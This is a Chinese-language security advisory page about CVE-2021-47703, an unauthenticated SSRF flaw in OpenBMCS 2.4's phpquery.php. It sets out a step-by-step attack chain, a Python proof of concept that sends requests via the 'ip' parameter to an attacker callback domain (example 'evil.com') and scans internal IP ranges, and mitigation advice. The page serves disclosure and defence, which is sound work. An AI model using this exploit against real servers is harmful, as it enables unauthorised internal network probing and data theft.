IPBUF安全漏洞报告
English
CVE-2021-47703 CVSS 7.2 高危

CVE-2021-47703 OpenBMCS 2.4 未认证SSRF漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47703
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenBMCS

相关标签

SSRF服务器端请求伪造OpenBMCS未认证漏洞CVE-2021-47703高危漏洞内网探测防火墙绕过

漏洞概述

CVE-2021-47703是OpenBMCS 2.4版本中发现的一个高危安全漏洞,属于服务器端请求伪造(SSRF)类型。该漏洞存在于phpquery.php文件中,允许未经认证的攻击者通过构造特殊的请求参数,强制应用程序向任意目标主机发起HTTP请求。攻击者可以利用此漏洞绕过网络防火墙限制,对内部网络进行服务和端口枚举,获取敏感信息,甚至尝试劫持用户会话。由于该漏洞无需任何认证即可利用,且CVSS评分达到7.2分(高危),对使用OpenBMCS系统的组织构成严重安全威胁。攻击者只需构造包含恶意URL的请求,通过'ip'参数指定目标地址,即可触发漏洞。这种攻击方式简单且高效,即使是不具备高级技术的攻击者也能轻松利用。对于暴露在互联网上的OpenBMCS服务器,强烈建议立即采取修复措施。

技术细节

OpenBMCS 2.4的SSRF漏洞主要源于phpquery.php文件对用户输入的'ip'参数缺乏充分的验证和过滤。攻击者可以通过该参数指定任意外部域名或IP地址,强制服务器向指定目标发起HTTP请求。漏洞利用过程如下:攻击者构造包含恶意URL的请求,如将'ip'参数设置为攻击者控制的外部域名或内网IP地址。当服务器处理该请求时,会直接使用用户提供的输入构造HTTP请求,而不会进行安全检查。这意味着攻击者可以:1)探测内网服务的可用性和端口状态;2)通过DNS重绑定技术绕过安全限制;3)利用服务器作为代理访问内部资源;4)通过响应时间差异推断内网拓扑结构。攻击者还可以利用服务器跟随重定向的特性,将请求转发到内部服务。此外,由于请求是从服务器端发起的,攻击者可以绕过基于IP的访问控制,访问仅限内网访问的资源。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站上运行的OpenBMCS版本,确认是否为2.4版本,并定位phpquery.php文件的位置
STEP 2
步骤2:构造恶意请求
攻击者构造包含SSRF payload的HTTP请求,通过'ip'参数指定目标地址,可以是外部域名或内网IP地址
STEP 3
步骤3:触发漏洞
攻击者向phpquery.php发送恶意请求,由于缺乏输入验证,服务器会直接使用攻击者提供的URL发起HTTP请求
STEP 4
步骤4:内网探测
利用SSRF漏洞对内部网络进行端口和服务扫描,探测内网中运行的服务、开放端口以及网络拓扑结构
STEP 5
步骤5:数据窃取或进一步攻击
通过内网探测获取的信息,攻击者可以尝试访问内部敏感资源、读取元数据服务(如AWS元数据)或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47703 OpenBMCS SSRF PoC # Target: OpenBMCS 2.4 (phpquery.php) # Author: Security Researcher # Note: For authorized security testing only def exploit_ssrf(target_url, attacker_domain): """ Exploit SSRF vulnerability in OpenBMCS 2.4 Args: target_url: Base URL of vulnerable OpenBMCS server attacker_domain: Domain controlled by attacker for callback Returns: bool: True if exploit successful, False otherwise """ # Construct malicious URL with SSRF payload ssrf_payload = f"http://{attacker_domain}/" # Target endpoint (typical OpenBMCS phpquery.php) endpoint = f"{target_url}/phpquery.php" # Parameters that trigger SSRF params = { "ip": ssrf_payload, "action": "ping" # or other action that triggers HTTP request } try: print(f"[*] Sending SSRF payload to {endpoint}") print(f"[*] Target will make request to: {ssrf_payload}") # Send request without authentication response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def internal_network_scan(target_url, internal_ip_range): """ Use SSRF to scan internal network Args: target_url: Base URL of vulnerable server internal_ip_range: IP range to scan (e.g., "192.168.1.") """ endpoint = f"{target_url}/phpquery.php" print(f"[*] Scanning internal network via SSRF...") for i in range(1, 255): target_ip = f"{internal_ip_range}{i}" params = { "ip": f"http://{target_ip}:80/", "action": "ping" } try: response = requests.get(endpoint, params=params, timeout=2) print(f"[+] Host {target_ip} is reachable") except: pass if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2021-47703.py <target_url> <attacker_domain>") print("Example: python cve-2021-47703.py http://vulnerable-server.com evil.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)

影响范围

OpenBMCS 2.4

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)使用Web应用防火墙规则阻止对phpquery.php的异常请求;2)限制该文件的访问权限,仅允许受信任的IP地址访问;3)暂时禁用存在漏洞的功能模块;4)配置网络访问控制列表,限制服务器的出站流量;5)监控日志中的异常HTTP请求模式;6)考虑使用反向代理限制对内部服务的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表